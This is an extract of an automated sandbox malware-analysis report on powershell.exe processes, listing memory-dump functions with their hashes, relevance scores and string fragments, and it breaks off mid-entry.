Opcode Fuzzy Hash: 81b2c5726ef8312002169270c95b25089f66fcbc3e60fe2540ca6bd2ae444c00
Instruction Fuzzy Hash: F6611C74A002498FDB04DFA9C594A9DBBB2FF84304F158558E502AF369DB78ED89CB80

Function 04719BD8 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7648039508ad2ab75669df41571a618197699391ee22a8b4c77a7d4034dacd0b
Instruction ID: e20197750b8adad1c35bc08d9430aaa523c40c68ca951fba35a4ac75de60587b
Opcode Fuzzy Hash: 7648039508ad2ab75669df41571a618197699391ee22a8b4c77a7d4034dacd0b
Instruction Fuzzy Hash: 7F51A4B0E002189FDB14DFA9D854A9DBBF6FF88314F148429D446EB751DB74AC46CB50

Function 06FF18FD Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156c3f185dfa6b11a749c51744d327453732873d5d380e879dc2b5ad762e1691
Instruction ID: d6bbd482388f12d58faace14798ac621a55f1e6b7bd5c0c58b99c13609ceabf4
Opcode Fuzzy Hash: 156c3f185dfa6b11a749c51744d327453732873d5d380e879dc2b5ad762e1691
Instruction Fuzzy Hash: 11411631F20201CFCBA4CF658A5577B7BE2AFC2240B5884A9DA059F265DB36D948C7F1

Function 04719BC8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ea4d073f79d4454f775c8c4625e82b07268bb9b9b4a0f1c8d90167b43a4d1a4
Instruction ID: 310531d9c7c02d052c0ae256aaeb042b80ffaae13c94fb8c91e7b2b1d0d81806
Opcode Fuzzy Hash: 6ea4d073f79d4454f775c8c4625e82b07268bb9b9b4a0f1c8d90167b43a4d1a4
Instruction Fuzzy Hash: 29418EB0E00609DFDB14DFA9C854AADBBF6FF84304F148529D446AB7A4EB74AC45CB90

Function 0471A6C8 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2a625276082999c9409b4fe2672a007d852d107e08a247b9e76e8ea891ca641
Instruction ID: 877922ec7c57f4da8eac503eb20eb6f130762dbcda9d9108c64753f5470f317c
Opcode Fuzzy Hash: f2a625276082999c9409b4fe2672a007d852d107e08a247b9e76e8ea891ca641
Instruction Fuzzy Hash: A241B130A053468FDB15DFA9C4506AEBBB6FF85300F14462AD401AB365EB70BD86CB90

Function 04712B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8962eb12655a5c40dcf5c215b7cdb2b08048427d5f32db3e27be6618ad9f50c6
Instruction ID: ade965105ea0c502b1f0febd9d4dc0a3c96e2d554cf555ad5e714086d0ff1e26
Opcode Fuzzy Hash: 8962eb12655a5c40dcf5c215b7cdb2b08048427d5f32db3e27be6618ad9f50c6
Instruction Fuzzy Hash: 22414774A001059FCB0ACF58C1D89BAFBB1FF48310B258599D955AB366C732FC91CBA0

Function 06FF01A8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f741983bc5fe6ba60f1ab4a7ba7c217d17bf3ee5aab1585cf10904f5e473b1c0
Instruction ID: fcea9e07e649db20f1e6ff684c5d1225fbc48bce8f6e4b92fb376edca1263580
Opcode Fuzzy Hash: f741983bc5fe6ba60f1ab4a7ba7c217d17bf3ee5aab1585cf10904f5e473b1c0
Instruction Fuzzy Hash: FB2136307583949FDB1657744C3076A3FA69F86704F14C8AEEA468F2A3CD3A8C49C3A1

Function 04719AA2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2048d33f579283f4f7f8031042ff39f07a9f5f2f04c7f29be615b72dcb2a4728
Instruction ID: 4a0f39642225936f7212883222d5afe0696c2f77e6b9356e33d142acce880402
Opcode Fuzzy Hash: 2048d33f579283f4f7f8031042ff39f07a9f5f2f04c7f29be615b72dcb2a4728
Instruction Fuzzy Hash: 69314A71B001059FDB24DF29D498AAD7BF6EF88724F184068E506EB3B1DB71AC41CB50

Function 04713800 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e15e1ebf3908ea1c072a955ff1095e9ba0db24121e98ff34c9456997607e4eda
Instruction ID: 59085a5491d6aa969b7d6a779edf9a4c186fb8e76729f1ded23e11e06167f819
Opcode Fuzzy Hash: e15e1ebf3908ea1c072a955ff1095e9ba0db24121e98ff34c9456997607e4eda
Instruction Fuzzy Hash: 50213E74A042199FCB04CF9DC4809AABBB5FF49300B15849AE819EB352C735FD41CBA1

Function 047137D1 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ccca6da3b53e3704349fdfc53755159e85767773cf8b9d7738e51e9c8647a0
Instruction ID: ca3434f276ccf56cde89359020c573d6e9dc63214657cd73b001846a7281a906
Opcode Fuzzy Hash: 63ccca6da3b53e3704349fdfc53755159e85767773cf8b9d7738e51e9c8647a0
Instruction Fuzzy Hash: B7211A74E042059FDB04CF9CD9909AABBB5FF89310B15859AE819EB361C731FD41CBA1

Function 047137F1 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56d58202dc5079cfd641f18b2e747ab2ce37b4b980cf630c3eee595a7f2cceff
Instruction ID: f06fae7f2119d4949a47967d51ea010e98c2628509b815562bb5af1b63a772e7
Opcode Fuzzy Hash: 56d58202dc5079cfd641f18b2e747ab2ce37b4b980cf630c3eee595a7f2cceff
Instruction Fuzzy Hash: F111EA74A006059FCB04CF98D980AAEBBB5FF49310B15855AE819EB351C335FD41CBA0

Function 046AD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2208739849.00000000046AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 046AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_46ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e5356af7010b620861f806aff6a93aaaf051ee0c76496f5269ae02e6b6f560
Instruction ID: 56b27ecc8d31a136eea759c0f1be91bd4c540e55df8821ba065bc339f8a4ff32
Opcode Fuzzy Hash: e4e5356af7010b620861f806aff6a93aaaf051ee0c76496f5269ae02e6b6f560
Instruction Fuzzy Hash: E6018CB140D7C09FD7124F259C94752BFA8EF53224F0984DBE9888F6A3D2695C45CB72

Function 046AD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2208739849.00000000046AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 046AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_46ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c2441e830029d34d93547c15c6f0812a9eb428951d3a8f7ceef33e6aa26e428
Instruction ID: 1bd88bca491f4175c606ead196573bb3a96a2e867169605805834a8bf096665e
Opcode Fuzzy Hash: 0c2441e830029d34d93547c15c6f0812a9eb428951d3a8f7ceef33e6aa26e428
Instruction Fuzzy Hash: E5012B70104B409ED7208E25EC84B67FF99EF55320F18C429ED480B786E279AC42CEB1

Function 0471A669 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4177649a8e7388b25df572d9e629c9115c176d7c657ac3bf20b285cb72923a57
Instruction ID: 54999f0e58707ae2059f84f8732de92d987c8ba469dbef71949c980395904738
Opcode Fuzzy Hash: 4177649a8e7388b25df572d9e629c9115c176d7c657ac3bf20b285cb72923a57
Instruction Fuzzy Hash: ADE0EC302043815BC306D738A5409EA7F5ADFC230470445A9E1418B25ACB64BC85C7A0

Function 04719FC8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e51df9cc58d3737ef84953acfd23c625da36c7497f5d4a525b57f6c7e8b93037
Instruction ID: a8d2b466bc451fb305b4d16e9c52bb0782643e9f653c64c415e9e3dee22e3d7d
Opcode Fuzzy Hash: e51df9cc58d3737ef84953acfd23c625da36c7497f5d4a525b57f6c7e8b93037
Instruction Fuzzy Hash: 7EE092301047019FC3029B68E406D95BFF4FF4A21430641A2FD05C7762D724EC209BA1

Function 04719FD8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230a66583b9263592e8413ccf989a025090c5f439af7f9475529a5977a14a5d2
Instruction ID: f90fe549077277dbed91893eb2e6b11a5c23d1305c2f3c599d2587a7f2586540
Opcode Fuzzy Hash: 230a66583b9263592e8413ccf989a025090c5f439af7f9475529a5977a14a5d2
Instruction Fuzzy Hash: FDD05E352002149FC700AF68E509D957BE9EB4921970180A5F909C7372DA25EC008B91

Non-executed Functions

Function 06FF02D0 Relevance: 10.3, Strings: 8, Instructions: 311COMMON

Download Yara Rule

Strings

#~h, xrefs: 06FF039F
$]q, xrefs: 06FF04E4
tP]q, xrefs: 06FF051D
$]q, xrefs: 06FF04B2
tP]q, xrefs: 06FF0529
4']q, xrefs: 06FF03DF
$]q, xrefs: 06FF04D8
4']q, xrefs: 06FF03D3

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$#~h$$]q$$]q$$]q
API String ID: 0-862219679
Opcode ID: ca021c430fd0572342e27b9cbf883d0e777d5e0c4b726e090420a1e7ad6a8bc8
Instruction ID: 0fff32debc8a2f0d40fb692a45f603d487688aa3a93eba2b0f1abed95b8d03b7
Opcode Fuzzy Hash: ca021c430fd0572342e27b9cbf883d0e777d5e0c4b726e090420a1e7ad6a8bc8
Instruction Fuzzy Hash: F4A15832B242058FDB648B7C942067ABBE5EFD1610F18847BDA45CB363DE72C845C3A1

Function 06FF0F80 Relevance: 9.2, Strings: 7, Instructions: 478COMMON

Download Yara Rule

Strings

4']q, xrefs: 06FF11F1
$]q, xrefs: 06FF0F92
$]q, xrefs: 06FF0FB8
4']q, xrefs: 06FF11E7
tP]q, xrefs: 06FF1009
$]q, xrefs: 06FF0FC4
tP]q, xrefs: 06FF0FFD

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: 17aba1cf7e3f729b2c6a2db5b0e14bd2928c7f75dfa5b544031c667c77104acc
Instruction ID: f5fae63dab1354dbcbe66c09408549bc79ec9015edcb6d17e9bc5fbc9250b93d
Opcode Fuzzy Hash: 17aba1cf7e3f729b2c6a2db5b0e14bd2928c7f75dfa5b544031c667c77104acc
Instruction Fuzzy Hash: CDF11332F14204CFDB94CB68881066ABBE6EFD6710F14847EDA45CB361DA36D945C7E2

Function 06FF3C48 Relevance: 9.1, Strings: 7, Instructions: 326COMMON

Download Yara Rule

Strings

4']q, xrefs: 06FF3ECB
4']q, xrefs: 06FF3D2E
$]q, xrefs: 06FF3CE3
$]q, xrefs: 06FF3D0B
4']q, xrefs: 06FF3EBF
4']q, xrefs: 06FF3D22
$]q, xrefs: 06FF3CFF

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q$$]q
API String ID: 0-3877577046
Opcode ID: aa1cacb68e02b203764e266e9ff1226b5a3ef2e53d3c34300048240e5ea023ed
Instruction ID: c6cd9aa6830e7d9de3fbd0fb9a8b67d2d50e2d8897f656e0294d18e61e810abf
Opcode Fuzzy Hash: aa1cacb68e02b203764e266e9ff1226b5a3ef2e53d3c34300048240e5ea023ed
Instruction Fuzzy Hash: 86B11932F143099FDBA89F69C85076ABBF6EFC5210F14846ADA45CB2A1DB31C845C7D1

Function 06FF3020 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FF307C
$]q, xrefs: 06FF3032
$]q, xrefs: 06FF304E
$]q, xrefs: 06FF3088

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 29a4883f4407517ff48e9ccfd31f510c37d069720a7ca478a569e381402f354b
Instruction ID: ee6c948d39d6b64f3510be32ab335c5e23a58204d140ac96713afe49bcb51d0b
Opcode Fuzzy Hash: 29a4883f4407517ff48e9ccfd31f510c37d069720a7ca478a569e381402f354b
Instruction Fuzzy Hash: 11214E33B243055FDBA4867D8840B26B6D99FC0719F14882B9605CB3A5DDB6C444C3E1

Function 06FF41C1 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4']q, xrefs: 06FF422B
$]q, xrefs: 06FF4216
4']q, xrefs: 06FF4237
$]q, xrefs: 06FF420A

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: 1f98691def6e4a99c1d57af06d5198d860e1a41652a687fce2c6632dfb18d036
Instruction ID: 1c1a169b091df600f1aadc2a6e87fa57784f037508a7954cfd94340b512881df
Opcode Fuzzy Hash: 1f98691def6e4a99c1d57af06d5198d860e1a41652a687fce2c6632dfb18d036
Instruction Fuzzy Hash: 3701D121B193844FD77A076D18306676FFA9FC391172A04BBCAC1DB36BC91A4D4683B6

Analysis Process: powershell.exePID: 5536, Parent PID: 1436COMMON

Executed Functions

Function 07C71C10 Relevance: 6.8, Strings: 5, Instructions: 594COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C71F58
4']q, xrefs: 07C720B0
4']q, xrefs: 07C71F4E
], xrefs: 07C71FB5
4']q, xrefs: 07C720BA

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$]
API String ID: 0-899355506
Opcode ID: ded265b15008dcf624a67365e93d7ed1dc4585442794d10cf4a80418cb1942ca
Instruction ID: 52ab2a79bf8daddd39d08bdeb37e88ad42f5493c7db3ecbf104068a166b778ed
Opcode Fuzzy Hash: ded265b15008dcf624a67365e93d7ed1dc4585442794d10cf4a80418cb1942ca
Instruction Fuzzy Hash: 28124AB17043098FCB159A79885076A7FB6AFD2311F1884BBD905CF292DF31CA45C7A2

Function 04D329F0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2174135490.0000000004D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97de5892cdd77b2ddbc1ce266019bd6fe2b5c7027ed347cfa83d468738e2b3b8
Instruction ID: ef2e5f0f25bc2dfa8748308ceaea42b554b2f51fac34ad2642dabc72d78dfe0a
Opcode Fuzzy Hash: 97de5892cdd77b2ddbc1ce266019bd6fe2b5c7027ed347cfa83d468738e2b3b8
Instruction Fuzzy Hash: 88918874A002099FCB15CF58C5D49AAFBF1FF88310B2485AAD855AB3A5C735FC91CBA0

Function 07C71BF0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2480203d14343f62d38ab8af5f6cd451eb8b7491b3f98483a26c47c96cdc9657
Instruction ID: 7f223572eb765d60864a66f0206b157ef82c41d7b100ce5066462216faf5d51d
Opcode Fuzzy Hash: 2480203d14343f62d38ab8af5f6cd451eb8b7491b3f98483a26c47c96cdc9657
Instruction Fuzzy Hash: 354139F1A142068FCB128F6589D5B797BB6AFD2300F1C849AC904DF251CF32CA45CB61

Function 04D32B00 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2174135490.0000000004D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa5a8f29ba96bab3761b76fca7325e96587956f71b661e85b46e947e4b5309bc
Instruction ID: 33217aa032d1cb4f7ec7f6d29157b76f06e957eadd668238a2f74a3f83e81d8a
Opcode Fuzzy Hash: fa5a8f29ba96bab3761b76fca7325e96587956f71b661e85b46e947e4b5309bc
Instruction Fuzzy Hash: AE412674A006059FCB0ACF59C5989EAFBB1FF48311B258599D855AB364C732FC91CBA0

Function 04C4D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2173867413.0000000004C4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4c4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aef3378df06ee51d767cd910d106c0fc9a68284546a1ec21714825c70ac20f83
Instruction ID: 1c1a3f60111c593040b2e7a9642a7bf1c3a3483eb3b49198b7721fcdfad1d84b
Opcode Fuzzy Hash: aef3378df06ee51d767cd910d106c0fc9a68284546a1ec21714825c70ac20f83
Instruction Fuzzy Hash: 7901527140E3C09FD7129B259994752BFB4DF43224F1DC1DBD9888F197C2699845C772

Function 04C4D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2173867413.0000000004C4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4c4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ecd8ccc53a8a6137ff8e0b4fa96f98defcf6288b623c7cdaa454bbbc6fbe911
Instruction ID: db20a366b6c92e0b8e3c1848add71d18309fad2da4371250ad110c6cf94f9b39
Opcode Fuzzy Hash: 0ecd8ccc53a8a6137ff8e0b4fa96f98defcf6288b623c7cdaa454bbbc6fbe911
Instruction Fuzzy Hash: A1012B715043409AD7209E16DE84B67BF9CEFC5320F1CC42AED4A0B246C679A941C6B1

Function 04D34C1B Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2174135490.0000000004D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae11123f49840bf25866c984af96fbe2f0b161dd6948208467d3897913405de9
Instruction ID: 244b2db4c5b3fccb66d97557e9d814bec32d377ffe52b2de3d8ff17d663b5dc7
Opcode Fuzzy Hash: ae11123f49840bf25866c984af96fbe2f0b161dd6948208467d3897913405de9
Instruction Fuzzy Hash: F3018F78B002149FCB04CB98D480AAEF771FF8E300B208299D85AA7321CA36EC03CB50

Function 04D32C7B Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2174135490.0000000004D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6df854946dbe2bdf1a58c389941402f1a0a8775bb978ba7bda755504a7f944
Instruction ID: 3e018b8cf19fadff0f31bef30041ff20668b285b847e5287b4cbb6ecee73beca
Opcode Fuzzy Hash: eb6df854946dbe2bdf1a58c389941402f1a0a8775bb978ba7bda755504a7f944
Instruction Fuzzy Hash: 0EF04F34A001059FCF45DF98D990EEDF7B1FF88325F208195D514A7260C732E856CB61

Non-executed Functions

Function 07C704E0 Relevance: 10.3, Strings: 8, Instructions: 313COMMON

Download Yara Rule

Strings

#~h, xrefs: 07C705AF
tP]q, xrefs: 07C7072D
$]q, xrefs: 07C706E8
$]q, xrefs: 07C706C2
4']q, xrefs: 07C705E3
4']q, xrefs: 07C705EF
tP]q, xrefs: 07C70739
$]q, xrefs: 07C706F4

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$#~h$$]q$$]q$$]q
API String ID: 0-862219679
Opcode ID: 4eaec0fa084c5365b4d04385752f50c8ef7294503d4623a43d65dde45e645a5b
Instruction ID: 3ac44af9d992b011cf890e2d7038f79017f94b62c59053c3f112d5616634f409
Opcode Fuzzy Hash: 4eaec0fa084c5365b4d04385752f50c8ef7294503d4623a43d65dde45e645a5b
Instruction Fuzzy Hash: 11A156B17043168FCB248A79946067ABBE6EFC6720F58847FD845CF291DE32C985C7A1

Function 07C71270 Relevance: 9.2, Strings: 7, Instructions: 483COMMON

Download Yara Rule

Strings

tP]q, xrefs: 07C712F9
4']q, xrefs: 07C714E1
4']q, xrefs: 07C714D7
tP]q, xrefs: 07C712ED
$]q, xrefs: 07C712A8
$]q, xrefs: 07C71282
$]q, xrefs: 07C712B4

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: 7c7fad0bfd683ec8be06232c876a7e1ca740fa71451b286c997759ce9b945f08
Instruction ID: c4acc13b627e6e72ca236ab391fec175f7f7110bce4f50d8226d3aeb4c2de6b9
Opcode Fuzzy Hash: 7c7fad0bfd683ec8be06232c876a7e1ca740fa71451b286c997759ce9b945f08
Instruction Fuzzy Hash: F3F136B1B042098FCB148A7D949066ABBEAEFD6310F5C847ED809CF251DF36CA45C7A1

Function 07C70FE0 Relevance: 7.7, Strings: 6, Instructions: 189COMMON

Download Yara Rule

Strings

$]q, xrefs: 07C70FF4
$]q, xrefs: 07C7117E
$]q, xrefs: 07C71172
tP]q, xrefs: 07C71084
$]q, xrefs: 07C71147
tP]q, xrefs: 07C71090

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID: tP]q$tP]q$$]q$$]q$$]q$$]q
API String ID: 0-656377573
Opcode ID: 8b029737b912c81a71307a03c829f014936cda085fdb874f8e706d2aba8568ca
Instruction ID: b3ca5a5f0a2e219167bc56a465db41c27a90c71e6467fa7aea88e212fa63a2bd
Opcode Fuzzy Hash: 8b029737b912c81a71307a03c829f014936cda085fdb874f8e706d2aba8568ca
Instruction Fuzzy Hash: C9517BB170434A9FDB254B6A8890B26BFF6AFC2311F2CC46BD4458F291CE35C944C3A2

Function 07C73228 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07C73290
$]q, xrefs: 07C73256
$]q, xrefs: 07C73284
$]q, xrefs: 07C7323A

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 6e30ee7ad286e99961f8d1b7ab9972d539a484da54f72f9cada6461db07ddeb7
Instruction ID: 2e72ad59e325f8fe07f014d9cd00a92ff04d157482c0662c10b887d6359a1b00
Opcode Fuzzy Hash: 6e30ee7ad286e99961f8d1b7ab9972d539a484da54f72f9cada6461db07ddeb7
Instruction Fuzzy Hash: 212147B13043C29BDB34556F8890B2BBBDA9FC1B11F24882A9849CB382DD36C941D361

Function 07C70308 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C70373
4']q, xrefs: 07C7037F
$]q, xrefs: 07C7035E
$]q, xrefs: 07C70352

Memory Dump Source

Source File: 00000009.00000002.2179789357.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7c70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: 0acf6f1c9fec0e1317846b59cd35ada56c89a93518a23cff141a468877d61ab7
Instruction ID: 0178b05d95e5228e7db3a500371772e006fd35423ea6b93b27756c1f4624761e
Opcode Fuzzy Hash: 0acf6f1c9fec0e1317846b59cd35ada56c89a93518a23cff141a468877d61ab7
Instruction Fuzzy Hash: DB01A7713093954FC72B562D19602556FBA5FC3A2072A45DBC450CF257CD144D85C3B3

Analysis Process: powershell.exePID: 2448, Parent PID: 6488COMMON

Executed Functions

Function 00007FF838923F95 Relevance: .5, Instructions: 493COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2936265909.00007FF838920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF838920000, based on PE: false

Joe Sandbox IDA Plugin

